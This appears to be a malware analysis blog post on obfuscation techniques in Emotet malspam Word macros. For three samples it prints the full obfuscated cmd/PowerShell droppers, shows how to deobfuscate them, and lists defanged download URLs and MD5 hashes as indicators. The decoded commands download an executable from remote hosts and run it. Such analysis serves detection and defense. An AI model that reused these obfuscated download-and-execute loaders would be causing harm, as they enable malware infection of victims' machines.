In light of Emotet Malware Botnet spam increasing post holidays I thought it appropriate to take the time to review the more recent obfuscation & evasion techniques observed from Microsoft Word Documents included as attachments or links in the malspam campaign. DOSfuscation, Reverse String, & Substitution.


All samples observed contained VBA Macros. Samples varied in post infection traffic from Qakbot, Trickbot, IcedID, to the more recently observed Gootkit.

Tools for viewing & interacting with VBA Macros in ole files are Oledump & Olevba

First Sample

PAYROLL_610891VMQJDZ.doc MD5: 3864e4d42728b90bcc026a2536c5bef0

The PowerShell string below is DosFuscated. This sample was observed on December 17th, 2018. This was consistent with samples analyzed from October through November of 2018.

c:\WiTAWFc\ivFAjJD\mZGnokr\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C”set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2’W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell “!mK:~-465!””

De-DOSfuscated

powershell “$ifO=’zwI’;$MaG=new-object Net.WebClient;$IBL=’hxxp://sundownbodrum[.]com/J335NbN@hxxp://www.roteirobrasil[.]com/wp-includes/XEBv3PdHgZ@hxxp://rdabih[.]org/m7mnTYaIzL@hxxp://zavgroup[.]net/11D6PwFu@hxxp://stefanobaldini[.]net/DfSVLfsC6′.Split(‘@’);$lCK=’nWP’;$SCK = ‘362’;$FFY=’mwV’;$DQi=$env:temp+’\’+$SCK+’.exe’;foreach($Cfn in $IBL){try{$MaG.DownloadFile($Cfn, $DQi);$cPU=’bGT’;If ((Get-Item $DQi).length -ge 80000) {Invoke-Item $DQi;$jGj=’mwL’;break;}}catch{}}$hzA=’sTh’;”

URL’s

hxxp://sundownbodrum[.]com/J335NbN
hxxp://www.roteirobrasil[.]com/wp-includes/XEBv3PdHgZ
hxxp://rdabih[.]org/m7mnTYaIzL
hxxp://zavgroup[.]net/11D6PwFu
hxxp://stefanobaldini[.]net/DfSVLfsC6

Second Sample

order_details.doc MD5: 22e17caa85757b5283ed4aa321af36fd

The extracted string below needs reversed. This sample was observed on December 23rd, 2018.

c:\Z69876705491321\F4826829\k18029515343……\windows\system32\cmd.exe /c %PROgrAMDATA:~0,1%%PROgRamdaTA:~9,2% /V:On /C ” Set aMc=;’375W’=270K$}}{hctac}};kaerb;’035f’=854z$;031V$ metI-ekovnI{ )00008 eg- htgnel.)031V$ metI-teG(( fI;’448M’=798E$;)031V$ ,506G$(eliFdaolnwoD.692a${yrt{)167M$ ni 506G$(hcaerof;’exe.’+113F$+’\’+pmet:vne$=031V$;’481d’=101m$;’264′ = 113F$;’215S’=854s$;)’@'(tilpS.’nUHc8hzOEp/moc.aidemkcilctsuj//:ptth@ySHMhDJ0/moc.tsalbk//:ptth@EZRYpHHjFb/moc.occisumnoswal//:ptth@gMlSxXlG/moc.weiverxreht//:ptth@ZGyQkJSY4/moc.egellocairamatcnas//:ptth’=167M$;tneilCbeW.teN tcejbo-wen=692a$;’664Y’=846t$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& foR /L %e in ( 533 -1 0) dO Set 9N=!9N!!aMc:~ %e,1!&& iF %e LSS 1 Echo !9N:*9N!=!| Cm%syStEMRoot:~6,-3% “

String Reversed

c:\Z69876705491321\F4826829\k18029515343……\windows\system32\cmd.exe /c %PROgrAMDATA:~0,1%%PROgRamdaTA:~9,2% /V:On /C ” Set &pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $t648=’Y466′;$a296=new-object Net.WebClient;$M761=’hxxp://sanctamariacollege[.]com/4YSJkQyGZ@hxxp://therxreview[.]com/GlXxSlMg@hxxp://lawsonmusicco[.]com/bFjHHpYRZE@hxxp://kblast[.]com/0JDhMHSy@hxxp://justclickmedia[.]com/pEOzh8cHUn’.Split(‘@’);$s458=’S512′;$F311 = ‘462’;$m101=’d184′;$V130=$env:temp+’\’+$F311+’.exe’;foreach($G605 in $M761){try{$a296.DownloadFile($G605, $V130);$E897=’M844′;If ((Get-Item $V130).length -ge 80000) {Invoke-Item $V130;$z458=’f530′;break;}}catch{}}$K072=’W573′;=cMa foR /L %e in ( 533 -1 0) dO Set 9N=!9N!!aMc:~ %e,1!&& iF %e LSS 1 Echo !9N:*9N!=!| Cm%syStEMRoot:~6,-3% “

URL’s

hxxp://sanctamariacollege[.]com/4YSJkQyGZ
hxxp://therxreview[.]com/GlXxSlMg
hxxp://lawsonmusicco[.]com/bFjHHpYRZE
hxxp://kblast[.]com/0JDhMHSy
hxxp://justclickmedia[.]com/pEOzh8cHUn

Third Sample

012019_INV_0049.doc MD5: 9cb9306baf7a26547d07fe94fdb64b3b

Document hxxp://ciblage-spain[.]es/Transactions/01_19/012019_INV_0049.doc contained the following concatenated powershell string observed over two streams. This sample was observed on January 15th, 2019.

sEt sx=pow^%PdoB;IC:~5?1^%r^%SESSIOAZAZAME:~-4?1^%(^%TEMP:~-3?1^%ll $ConcreUIelj=’SpA;ju’6$Border)dl=new-ojecUI AZeUI.WeClienUI6$PCIrd='(UIUIp://r[dinUIr[der[.]com/AZAOvd1X@(UIUIp://mypuppy)iUIUIer[.]com/Wcdo9i4YdH@(UIUIp://demo).UIec(noex[m[.]com/e(]w1mlo@(UIUIp://UIimgi[mgi[.)iUIe/P7p4eo54pAB@(UIUIp://g[ropin-r-01[.]com/[dodof1TK(‘.SpliUI#’@’6$UIurnkeyji=’9[UI[iw’6$AZ[UIion[l[z = ‘882’6$SUIreeUIpv=’gold[f’6$S[ving)AccounUIUIo=$env:pulic+'\'+$AZ[UIion[l[z+'.exe'6fore[c(#$p[ymenUI)) in $PCIrd_{UIry{$Border)dl.9ownlo[d,ile#$p[ymenUI))? $S[ving)AccounUIUIo_6$9irecUIorpp='B[yMovie)wf’6If ##GeUI-IUIem $S[ving)AccounUIUIo.lengUI( -ge 80000_ {Invoke-IUIem $S[ving)AccounUIUIo6$redund[nUIqj=’invoicez)’6re[k6}}c[UIc({}}$]u``err=’invoiced'6&& SEt cU=!sx:pA=Q!&&set Qedo=!cU:AZ=N!&& SEt yA=!Qedo:UI=t!& seT pw=!yA:do=U!&& SET Oqb=!pw:(=h!& SEt Q4aC=!Oqb:#=(!&& SeT R64=!Q4aC:)=s!& SET Yo=!R64:=b!&SEt hxfQ=!Yo:[=a!&& seT Xtk=!hxfQ:;=L!& sEt hYF=!Xtk:9=D!&& SEt yb=!hYF:_=)!&& sET xk=!yb:6=;!&& SeT CnA=!xk:]=R!& sEt 1JS=!CnA:,=F!& Set h1Z3=!1JS:?=,!&& eChO %h1Z3% |%ComMOnproGRaMFILeS(X86):~23,-11%%CommonPrOGRamFiLes:~9,1%%tEmp:~-15,-14%

This sample is employing substitution. Beginining with pA=Q! we can create a key.

Substitution key:

# = (
AZ = N
pA = Q
[ = a
) = s
( = h
UI = t
; = l
] = R
? = ,
6 = ;
, = F
` = b
_ = )
9 = D
? = ,
] = r
do = U

Substitution Applied

set sx=pow%PuBLIC:~5F1%r%SESSIONNAME:~-4F1%h%TEMP:~-3F1%ll $Concretelj=’SQLju’;$Bordersdl=new-object Net.WebClient;$PCIrd=’hxxp://radintrader[.]com/NAOvd1X@hxxp://mypuppysitter[.]com/WcuDi4YdbH@hxxp://demos.technoexam[.]com/ehrw1bmlo@hxxp://timgiamgia[.]site/P7p4eo54QB@hxxp://garopin-r-01[.]com/auuf1TKh’.Split(‘@’);$turnkeyji=’Dataiw’;$NationalN = ‘882’;$Streetpv=’goldaf’;$SavingsAccountto=$env:public+’\’+$NationalN+’.exe’;foreach($Payments) in $PCIrd){try{$Bordersdl.uwnloadFile($Payments)F $SavingsAccountto);$Directorpp=’BabyMovieswf’;If ((Get-Item $SavingsAccountto).length -ge 80000) {Invoke-Item $SavingsAccountto;$redundantqj=’invoicezs’;break;}}catch{}}$rubberrb=’invoicedb’;

URL’s

hxxp://radintrader[.]com/NAOvd1X
hxxp://mypuppysitter[.]com/WcdoDi4YdbH
hxxp://demos.technoexam[.]com/ehrw1bmlo
hxxp://timgiamgia[.]site/P7p4eo54QB
hxxp://garopin-r-01[.]com/auuf1TKh

 

Emotet Malware PowerShell Obfuscation & Evasion Review